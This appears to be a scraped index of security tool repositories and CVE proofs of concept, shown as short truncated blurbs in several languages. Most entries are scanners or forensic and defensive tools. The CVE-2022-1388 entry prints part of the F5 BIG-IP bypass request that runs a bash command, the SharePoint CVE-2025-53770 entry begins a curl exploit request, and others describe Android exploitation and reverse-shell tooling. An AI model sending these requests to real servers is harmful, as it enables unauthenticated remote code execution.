CVE-2026-71538

@cyclonedx/cyclonedx-npm creates CycloneDX Software Bill of Materials from npm projects. Prior to version 6.0.0, the Windows fallback path in src/npmRunner.ts, used when npmexecpath does not provide the npm CLI path, can construct a shell command containing an untrusted value from the --workspace...

AdbNet

adb - An exploitation tool for android devices. A tool that allows you to search for vulnerable android devices across the world and exploit them. Features root@kitploit: Features: - Post-Exploitation modules to control and tinker with the device you are connected to. - Scanners to search for...

CVE-2021-3156-Heap-Based-Buffer-Overflow-in-Sudo-Baron-Samedit-

Qualys Security Advisory Baron Samedit: Heap-based buffer overflow in Sudo CVE-2021-3156 ======================================================================== Contents Summary Analysis Exploitation Acknowledgments Timeline =======================================================================...

credactor

Credactor Find the secret. Fix it. Commit clean. Secret scanners are good at sounding the alarm and not much help putting it out. They hand you a list of leaked credentials and leave the cleanup to you. Credactor closes the loop: it finds a hardcoded secret and rewrites it in place, so a leak goe...

jebmcp

一个适用于 JEB Pro 的简单粗暴的 MCP 服务器与插件。 已在 Cline、Cursor 和 RooCode 上测试。 参考：https://github.com/mrexodia/ida-pro-mcp 安装 要求 root@kitploit: Python = 3.11 uv: https://docs.astral.sh/uv/getting-started/installation/ 使用方法 将 src/jebmcp/MCP.py 复制到 $JEBINSTALLATIONDIR/scripts 目录。确保 jython 文件也存在。 在 JEB GUI...

CVE-2025-53770-SharePoint-Deserialization-RCE-PoC

CVE-2025-53770-SharePoint-Deserialization-RCE-PoC Microsoft SharePoint Server の重大な脆弱性により、信頼されないデータの逆シリアル化を介して、認証されていないリモートコード実行が可能になります。Microsoft は活発な悪用を認識しており、直ちに CVE の緩和策を適用してください。深刻度: 重大。 コマンド curl -sk -X POST 'https://reeaccated.com/layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' ...

truegaze

truegaze A static analysis tool for Android and iOS applications focusing on security issues outside the source code such as resource strings, third party libraries and configuration files. Requirements Python 3 is required and you can find all required modules in the requirements.txt file. Only...

Process-Dump

Process Dump Process Dump is a Windows reverse-engineering command-line tool to dump malware memory components back to disk for analysis. Often malware files are packed and obfuscated before they are executed in order to avoid AV scanners, however when these files are executed they will often...

mvt

Mobile Verification Toolkit !IMPORTANT We recently merged the "v3" branch. This introduced breaking changes. If you relied on mvt output in other scripts They might have broken. More details: https://github.com/mvt-project/mvt/issues/757 Mobile Verification Toolkit MVT is a collection of utilitie...

sandmap

sandmap Description • How To Use • Command Line • Configuration • Requirements • Other • Contributing • License • Wiki Description sandmap is a tool supporting network and system reconnaissance using the massive Nmap engine. It provides a user-friendly interface, automates and speeds up scanning...

OpenShell

OpenShell OpenShell is a lightweight, open-source reverse shell management server written in Go. It allows users to establish reverse shell channels and interact with them through a simple web-based graphical user interface GUI. If you encounter bugs or have suggestions, feel free to open an issu...

cliam

cliam Multi cloud iam permissions enumeration tool. Currently covers: AWS GCP Azure Oracle 🚧 WIP Description Cliam is a simple cloud permissions identifier. There are two main components to the CLI. Most of the enumerated permissions are list, describe or get permissions. enumerate which can be...

cliam

cliam Herramienta de enumeración de permisos IAM multi-nube. Actualmente cubre: AWS GCP Azure Oracle 🚧 WIP Descripción Cliam es un identificador simple de permisos en la nube. Hay dos componentes principales en la CLI. La mayoría de los permisos enumerados son permisos de listar, describir u...

jfp-kernel-sandbox-poc

JFP Kernel Sandbox bwrap PoC A Proof of Concept PoC demon...

firmware-workshop

ハンズオン：ファームウェアの抽出・探索・エミュレーション このハンズオンデモでは、柔軟なファームウェア抽出ツールであるUnblobを体験していただきます。 このワークショップセッションでは、EV充電器からファームウェアを抽出し、ファームウェアを詳しく調べ、最終的にエミュレーションして、サービスとリアルタイムにやり取りできるようにします。Unblobはハードウェア版とダウンロード版の両方のファームウェアに対応しているため、ターゲットとなる環境は豊富です。事前経験は不要で、あらゆるスキルレベルに適したセッションです。皆様のご参加をお待ちしています。 対象ターゲット...

Confluence-CVE-2022-26134

Confluence-CVE-2022-26134 このリポジトリでは、Atlassian Confluence のゼロデイ悪用について、SecOps またはブルーチームの視点からの防御と分析の観点で解説しています。 Index 概要 タイムライン エクスプロイトの理解 IOC リスト 検出戦略 緩和策 参考資料 概要 米国のメモリアルデーウィークエンドに、Volexity は、Atlassian Confluence Server ソフトウェアを実行している 1 顧客が所有する 2 つのインターネット公開 Web サーバーを含むインシデントレスポンス調査を実施しました。この調査は、JS...

CVE_2022_38181_Gazelle

Exploit for CVE-2022-38181 to run on FireTV 3rd gen Cube This is a fork of security researcher Man Yue Mo's Pixel 6 POC for CVE202238181. Read his detailed write-up of the vulnerability here. Changes have been made to account for FireOS's 32bit userspace. The POC exploits a bug in the ARM Mali...

DeepBlueCLI

DeepBlueCLI DeepBlueCLI - a PowerShell Module for Threat Hunting via Windows Event Logs Eric Conrad, Backshore Communications, LLC deepblue at backshore dot net Twitter: @ericconrad http://ericconrad.com Sample EVTX files are in the .\evtx directory Note If your antivirus freaks out after...

AtomShields-cli

AtomShields Cli AtomShields Cli is a Command-Line Interface to use the software AtomShields .. raw:: html Installation .. code-block:: shell pip install atomshieldscli Basic usage .. code-block:: shell ascli --target --name The allowed action values are: install : To install a checker or a...

CVE-2022-1388_PoC

F5 BIG-IP RCE エクスプロイト CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl コマンドライン: root@kitploit: $ curl -i -s -k -X $'POST' \ ...